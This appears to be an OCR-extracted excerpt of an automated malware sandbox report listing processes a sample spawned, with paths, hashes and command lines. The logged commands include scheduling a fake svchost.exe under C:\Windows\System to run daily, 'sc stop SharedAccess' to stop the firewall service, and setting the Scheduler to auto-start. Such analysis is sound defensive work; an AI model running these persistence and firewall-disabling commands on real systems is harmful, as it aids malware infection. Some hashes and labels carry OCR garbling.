C, C++ or other language

Analysis Process: at.exe PID: 6172, Parent PID: 244

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

50

09:09:40

05/08/2022
C:\Windows\SysWOW64\at.exe

true

at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe

0xfc0000

25088 bytes
6E495479C0213E98C8141C75807AADCY
true

true

C, C++ or other language

Analysis Process: conhost.exe PID: 6244, Parent PID: 6172

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

51

09:09:40

05/08/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff647620000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496
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Has elevated privileges: true

Has administrator true
privileges:
Programmed in: C, C++ or other language

Analysis Process: svchost.exe PID: 6308, Parent PID: 3616

General

Target ID: 52

Start time: 09:09:42

Start date: 05/08/2022

Path: C:\Windows\System\svchost.exe

Wow64 process (32bit): true

Commandline: "C:\windows\system\svchost.exe" RO
Imagebase: 0x400000

File size: 281069 bytes

MDS5 hash: B61A3DA9B4DB4644497B9CC1BE87515F
Has elevated privileges: true

Has administrator true

privileges:

Programmed in: Visual Basic

Analysis Process: at.exe PID: 6384, Parent PID: 244

General

Target ID: 53

Start time: 09:09:44

Start date: 05/08/2022

Path: C:\Windows\SysWOW64\at.exe

Wow64 process (32bit): true

Commandline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase: 0xfc0000

File size: 25088 bytes

MD5 hash: 6E495479C0213E98C8141C75807AADCY

Has elevated privileges: true

Has administrator true
privileges:
Programmed in: C, C++ or other language

Analysis Process: sc.exe PID: 6400, Parent PID: 244

General

Target ID: 54

Start time: 09:09:45

Start date: 05/08/2022

Path: C:\Windows\SysWOW64\sc.exe

Wow64 process (32bit): true

Commandline: sc stop SharedAccess

Imagebase: 0xb50000

File size: 60928 bytes

MD5 hash: 24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Analysis Process: conhost.exe PID: 6408, Parent PID: 6384

General
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Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

55

09:09:45

05/08/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff647620000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: sc.exe PID: 6416, Parent PID: 244

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

56

09:09:45

05/08/2022
C:\Windows\SysWOW64\sc.exe

true

sc config Schedule start= auto

0xb50000

60928 bytes
24A3E2603E63BCB9695A2935D3B24695
true

true

C, C++ or other language

Analysis Process: conhost.exe PID: 6424, Parent PID: 6400

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Disassembly

@ No disassembly

57

09:09:45

05/08/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff647620000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language
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